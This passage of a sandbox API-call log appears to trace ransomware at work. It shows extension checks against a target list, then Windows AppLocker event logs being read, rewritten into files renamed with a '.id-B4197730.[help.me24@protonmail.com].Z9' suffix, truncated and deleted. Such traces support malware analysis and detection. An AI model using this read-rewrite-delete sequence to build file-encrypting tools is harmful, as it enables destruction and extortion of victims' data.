	[0078.430] lstrlenW (lpString=".7z") returned 3
	[0078.430] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0078.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0078.430] lstrlenW (lpString=".dbf") returned 4
	[0078.430] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0078.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0078.431] lstrlenW (lpString=".1cd") returned 4
	[0078.431] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0078.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0078.431] lstrlenW (lpString=".jpg") returned 4
	[0078.431] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0078.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0078.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0078.431] lstrlenW (lpString=".doc") returned 4
	[0078.431] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0078.431] lstrlenW (lpString=".docx") returned 5
	[0078.431] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0078.431] lstrlenW (lpString=".pdf") returned 4
	[0078.431] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0078.431] lstrlenW (lpString=".xls") returned 4
	[0078.431] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0078.431] lstrlenW (lpString=".xlsx") returned 5
	[0078.431] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0078.431] lstrlenW (lpString=".ppt") returned 4
	[0078.431] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0078.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0078.431] lstrlenW (lpString=".zip") returned 4
	[0078.431] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0078.431] lstrlenW (lpString=".rar") returned 4
	[0078.431] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0078.431] lstrlenW (lpString=".bz2") returned 4
	[0078.431] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0078.431] lstrlenW (lpString=".7z") returned 3
	[0078.431] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0078.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0078.431] lstrlenW (lpString=".dbf") returned 4
	[0078.431] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0078.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0078.431] lstrlenW (lpString=".1cd") returned 4
	[0078.431] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0078.432] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0078.432] lstrlenW (lpString=".jpg") returned 4
	[0078.432] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0078.432] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0078.432] lstrlenW (lpString="Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 48
	[0078.432] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0078.815] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=69632) returned 1
	[0078.815] CloseHandle (hObject=0x35c) returned 1
	[0078.815] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 0x20
	[0078.815] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0078.815] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0078.815] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.815] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.816] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0078.817] GetLastError () returned 0x0
	[0078.817] ReadFile (in: hFile=0x35c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0078.820] WriteFile (in: hFile=0x2bc, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0078.822] ReadFile (in: hFile=0x35c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.822] WriteFile (in: hFile=0x2bc, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x134, lpOverlapped=0x0) returned 1
	[0078.822] SetEndOfFile (hFile=0x2bc) returned 1
	[0078.822] CloseHandle (hObject=0x2bc) returned 1
	[0078.824] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.824] SetEndOfFile (hFile=0x35c) returned 1
	[0078.825] CloseHandle (hObject=0x35c) returned 1
	[0078.825] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0078.826] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 1
	[0078.826] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0078.826] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0078.826] lstrlenW (lpString=".doc") returned 4
	[0078.826] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.826] lstrlenW (lpString=".docx") returned 5
	[0078.826] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.826] lstrlenW (lpString=".pdf") returned 4
	[0078.826] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.826] lstrlenW (lpString=".xls") returned 4
	[0078.826] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.826] lstrlenW (lpString=".xlsx") returned 5
	[0078.826] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.826] lstrlenW (lpString=".ppt") returned 4
	[0078.826] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.826] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0078.826] lstrlenW (lpString=".zip") returned 4
	[0078.826] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.826] lstrlenW (lpString=".rar") returned 4
	[0078.826] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.826] lstrlenW (lpString=".bz2") returned 4
	[0078.826] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.826] lstrlenW (lpString=".7z") returned 3
	[0078.826] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.826] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0078.827] lstrlenW (lpString=".dbf") returned 4
	[0078.827] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0078.827] lstrlenW (lpString=".1cd") returned 4
	[0078.827] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0078.827] lstrlenW (lpString=".jpg") returned 4
	[0078.827] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0078.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0078.827] lstrlenW (lpString=".doc") returned 4
	[0078.827] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.827] lstrlenW (lpString=".docx") returned 5
	[0078.827] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.827] lstrlenW (lpString=".pdf") returned 4
	[0078.827] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.827] lstrlenW (lpString=".xls") returned 4
	[0078.827] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.827] lstrlenW (lpString=".xlsx") returned 5
	[0078.827] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.827] lstrlenW (lpString=".ppt") returned 4
	[0078.827] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0078.827] lstrlenW (lpString=".zip") returned 4
	[0078.827] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.827] lstrlenW (lpString=".rar") returned 4
	[0078.827] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.827] lstrlenW (lpString=".bz2") returned 4
	[0078.827] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.827] lstrlenW (lpString=".7z") returned 3
	[0078.827] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0078.827] lstrlenW (lpString=".dbf") returned 4
	[0078.827] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0078.827] lstrlenW (lpString=".1cd") returned 4
	[0078.828] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.828] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56
	[0078.828] lstrlenW (lpString=".jpg") returned 4
	[0078.828] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.828] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0078.828] lstrlenW (lpString="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 57
	[0078.828] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0078.828] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=69632) returned 1
	[0078.828] CloseHandle (hObject=0x35c) returned 1
	[0078.828] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 0x20
	[0078.828] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0078.828] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0078.828] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.828] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.829] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0078.840] GetLastError () returned 0x0
	[0078.840] ReadFile (in: hFile=0x35c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0078.846] WriteFile (in: hFile=0x2bc, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0078.848] ReadFile (in: hFile=0x35c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.848] WriteFile (in: hFile=0x2bc, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x146, lpOverlapped=0x0) returned 1
	[0078.848] SetEndOfFile (hFile=0x2bc) returned 1
	[0078.848] CloseHandle (hObject=0x2bc) returned 1
	[0078.850] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.850] SetEndOfFile (hFile=0x35c) returned 1
	[0078.851] CloseHandle (hObject=0x35c) returned 1
	[0078.851] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0078.852] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 1
	[0078.852] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0078.852] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0078.852] lstrlenW (lpString=".doc") returned 4
	[0078.852] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.852] lstrlenW (lpString=".docx") returned 5
	[0078.852] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.852] lstrlenW (lpString=".pdf") returned 4
	[0078.852] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.852] lstrlenW (lpString=".xls") returned 4
	[0078.852] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.852] lstrlenW (lpString=".xlsx") returned 5
	[0078.852] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.852] lstrlenW (lpString=".ppt") returned 4
	[0078.852] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.852] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0078.852] lstrlenW (lpString=".zip") returned 4
	[0078.852] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.852] lstrlenW (lpString=".rar") returned 4
	[0078.852] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.852] lstrlenW (lpString=".bz2") returned 4
	[0078.852] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.852] lstrlenW (lpString=".7z") returned 3
	[0078.853] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.853] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0078.853] lstrlenW (lpString=".dbf") returned 4
	[0078.853] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.853] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0078.853] lstrlenW (lpString=".1cd") returned 4
	[0078.853] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.853] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0078.853] lstrlenW (lpString=".jpg") returned 4
	[0078.853] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.853] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0078.853] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0078.853] lstrlenW (lpString=".doc") returned 4
	[0078.853] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.853] lstrlenW (lpString=".docx") returned 5
	[0078.853] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.853] lstrlenW (lpString=".pdf") returned 4
	[0078.853] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.853] lstrlenW (lpString=".xls") returned 4
	[0078.853] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.853] lstrlenW (lpString=".xlsx") returned 5
	[0078.853] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.853] lstrlenW (lpString=".ppt") returned 4
	[0078.853] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.853] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0078.853] lstrlenW (lpString=".zip") returned 4
	[0078.853] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.853] lstrlenW (lpString=".rar") returned 4
	[0078.853] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.853] lstrlenW (lpString=".bz2") returned 4
	[0078.853] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.853] lstrlenW (lpString=".7z") returned 3
	[0078.853] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.853] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0078.853] lstrlenW (lpString=".dbf") returned 4
	[0078.854] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.854] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0078.854] lstrlenW (lpString=".1cd") returned 4
	[0078.854] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.854] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0078.854] lstrlenW (lpString=".jpg") returned 4
	[0078.854] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.854] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0078.854] lstrlenW (lpString="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 56
	[0078.854] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0078.854] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=69632) returned 1
	[0078.854] CloseHandle (hObject=0x35c) returned 1
	[0078.854] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 0x20
	[0078.854] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0078.854] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0078.855] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.855] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.855] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0078.855] GetLastError () returned 0x0
	[0078.855] ReadFile (in: hFile=0x35c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0078.859] WriteFile (in: hFile=0x2bc, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0078.861] ReadFile (in: hFile=0x35c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.861] WriteFile (in: hFile=0x2bc, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x144, lpOverlapped=0x0) returned 1
	[0078.862] SetEndOfFile (hFile=0x2bc) returned 1
	[0078.862] CloseHandle (hObject=0x2bc) returned 1
	[0078.864] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.864] SetEndOfFile (hFile=0x35c) returned 1
	[0078.865] CloseHandle (hObject=0x35c) returned 1
	[0078.865] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0078.866] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 1
	[0078.866] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0078.866] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0078.866] lstrlenW (lpString=".doc") returned 4
	[0078.866] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.866] lstrlenW (lpString=".docx") returned 5
	[0078.866] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.866] lstrlenW (lpString=".pdf") returned 4
	[0078.866] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.866] lstrlenW (lpString=".xls") returned 4
	[0078.866] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.866] lstrlenW (lpString=".xlsx") returned 5
	[0078.866] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.866] lstrlenW (lpString=".ppt") returned 4
	[0078.866] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.866] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0078.866] lstrlenW (lpString=".zip") returned 4
	[0078.866] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.866] lstrlenW (lpString=".rar") returned 4
	[0078.866] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.866] lstrlenW (lpString=".bz2") returned 4
	[0078.866] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.866] lstrlenW (lpString=".7z") returned 3
	[0078.866] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.866] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0078.867] lstrlenW (lpString=".dbf") returned 4
	[0078.867] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.867] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0078.867] lstrlenW (lpString=".1cd") returned 4
	[0078.867] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.867] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0078.867] lstrlenW (lpString=".jpg") returned 4
	[0078.867] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.867] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
